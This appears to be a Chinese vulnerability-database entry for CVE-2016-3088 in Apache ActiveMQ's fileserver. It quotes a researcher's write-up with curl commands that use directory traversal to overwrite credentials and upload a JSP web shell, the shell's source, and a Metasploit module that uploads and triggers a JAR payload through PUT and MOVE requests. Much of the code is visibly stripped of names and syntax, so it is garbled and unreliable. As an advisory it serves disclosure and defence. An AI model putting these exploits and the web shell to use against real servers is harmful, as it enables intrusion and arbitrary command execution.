发布时间 :2016-06-01 16:59:04
修订时间 :2016-06-02 14:33:06

[原文]The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request.


[机译]Google 翻译(企业版):

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-20 [输入验证不恰当]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD

- 其它链接及资源

- 漏洞信息 (F139999)

Apache ActiveMQ 5.11.1 / 5.13.2 Directory Traversal / Command Execution (PacketStormID:F139999)
2016-12-03 00:00:00
David Jorm  
exploit,vulnerability,file inclusion

Apache ActiveMQ versions 5.11.1 and 5.13.2 suffer from command execution and directory traversal vulnerabilities.

I have recently been playing with Apache ActiveMQ, and came across a simple but interesting directory traversal flaw in the fileserver upload/download functionality. 

I have only been able to reproduce this on Windows, i.e. where "\" is a path delimiter. 

An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution.
Exploiting Windows systems to achieve RCE The default conf/jetty.xml includes:

 <bean class="" id="securityConstraintMapping">  
     <property name="constraint" ref="securityConstraint">  
     <property name="pathSpec" value="/api/*,/admin/*,*.jsp">  

Effectively blocking the upload of JSP files into contexts that will allow them to execute. 
I imagine there are many ways around this; for my proof of concept I opted to overwrite conf/ and set my own credentials:
$ cat hacker: hacker, admin
$ curl -v -X PUT --data "" http://TARGET:8161/fileserver/..\\conf\\
This seems to have the disadvantage of requiring a reboot of the server to take effect. 

I am not sure if that is always the case, but if so, I'm pretty sure there is some other workaround that wouldn't require a reboot. 
The attacker can then take a standard JSP shell:
$ cat cmd.jsp 
 <%@ page import="java.util.*,*"%>  
 Commands with JSP  
 <FORM METHOD="GET" NAME="myform" ACTION="">  
 <INPUT TYPE="text" NAME="cmd">  
 <INPUT TYPE="submit" VALUE="Send">  
 if (request.getParameter("cmd") != null) {  
 out.println("Command: " + request.getParameter("cmd") + "<BR>");  
 Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));  
 OutputStream os = p.getOutputStream();  
 InputStream in = p.getInputStream();  
 DataInputStream dis = new DataInputStream(in);  
 String disr = dis.readLine();  
 while ( disr != null ) {  
 disr = dis.readLine();  
Upload it, exploiting the "..\" directory traversal flaw to put it into an executable context:
$ curl -u 'hacker:hacker' -v -X PUT --data "@cmd.jsp" http://TARGET:8161/fileserver/..\\admin\\cmd.jsp
And pop a calc on the server:
$ curl -u 'hacker:hacker' -v -X GET http://TARGET:8161/admin/cmd.jsp?cmd=calc.exe
Exploiting non-Windows servers
All attempts at directory traversal on a Linux system failed - encoded, double encoded, and UTF-8 encoded "../" were all caught by Jetty. Only "..\" worked. 
That said, clients can specify the uploadUrl for a blob transfer, e.g.:
An attacker able to enqueue messages could use this to perform server side request forgery to an arbitrary uploadUrl target, even when running on non-Windows servers.
The ActiveMQ project has released an advisory and patches. 

This is not the first instance of such a flaw in an open source Java application; CVE-2014-7816 comes to mind. 

It demonstrates that while Java may be platform independent, many developers are used to developing for a particular OS, and don't necessarily take cross-platform concerns into account.

- 漏洞信息 (F143191)

Apache ActiveMQ 5.x Web Shell Upload (PacketStormID:F143191)
2017-06-29 00:00:00
Hillary Benson,Ian Anderson

The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request.

# This module requires Metasploit:
# Current source:
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
      'Name'        => 'ActiveMQ web shell upload',
      'Description' => %q(
        The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
        allows remote attackers to upload and execute arbitrary files via an
        HTTP PUT followed by an HTTP MOVE request.
      'Author'      => [ 'Ian Anderson <andrsn84[at]>', 'Hillary Benson <1n7r1gu3[at]>' ],
      'License'     => MSF_LICENSE,
      'References'  =>
          [ 'CVE', '2016-3088' ],
          [ 'URL', '' ]
      'Privileged'  => true,
      'Platform'    => %w{ java linux win },
      'Targets'     =>
          [ 'Java Universal',
              'Platform' => 'java',
              'Arch' => ARCH_JAVA
          [ 'Linux',
              'Platform' => 'linux',
              'Arch' => ARCH_X86
          [ 'Windows',
               'Platform' => 'win',
               'Arch' => ARCH_X86
      'DisclosureDate' => "Jun 01 2016",
      'DefaultTarget'  => 0))
      ['BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),'BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),'JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),'AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),
      ['UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])

  def jsp_text(payload_name)
    <%@ page import="*"
    %><%@ page import="*"
    URLClassLoader cl = new[]{new"./#{payload_name}.jar")).toURI().toURL()});
    Class c = cl.loadClass("metasploit.Payload");
    c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});

  def exploit
    jar_payload = payload.encoded_jar.pack
    payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))
    host = "#{datastore['RHOST']}:#{datastore['RPORT']}"
    @url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"
    paths = get_upload_paths
    paths.each do |path|
      if try_upload(path, jar_payload, payload_name)
        break handler if trigger_payload(payload_name)
        print_error('Unable to trigger payload')

  def try_upload(path, jar_payload, payload_name)
    ['.jar', '.jsp'].each do |ext|
      file_name = payload_name + ext
      data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
      move_headers = { 'Destination' => "#{@url}#{path}#{file_name}" }
      upload_uri = normalize_uri('fileserver', file_name)
      print_status("Uploading #{move_headers['Destination']}")
      register_files_for_cleanup "#{path}#{file_name}" if datastore['AutoCleanup'].casecmp('true')
      return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
                              send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
      @trigger_resource = /webapps(.*)/.match(path)[1]

  def get_upload_paths
    base_path = "#{get_install_path}/webapps"
    custom_path = datastore['UploadPath']
    return [normalize_uri(base_path, custom_path)] unless custom_path.nil?
    [ "#{base_path}/api/", "#{base_path}/admin/" ]

  def get_install_path
    properties_page = send_request('GET', "#{@url}/admin/test/systemProperties.jsp").body
    match ="\n", '@').match(/activemq\.home<\/td>@\s*<td>([^@]+)<\/td>/)
    return match[1] unless match.nil?

  def send_request(method, uri, expected_response = 200, opts = {})
    opts['headers'] ||= {}
    opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])
    opts['headers']['Connection'] = 'close'
    r = send_request_cgi(
        'method'  => method,
        'uri'     => uri
    return false if r.nil? || expected_response != r.code.to_i

  def trigger_payload(payload_name)
    send_request('POST', @url + @trigger_resource + payload_name + '.jsp')

  def error_out
    print_error('Upload failed')
    @trigger_resource = nil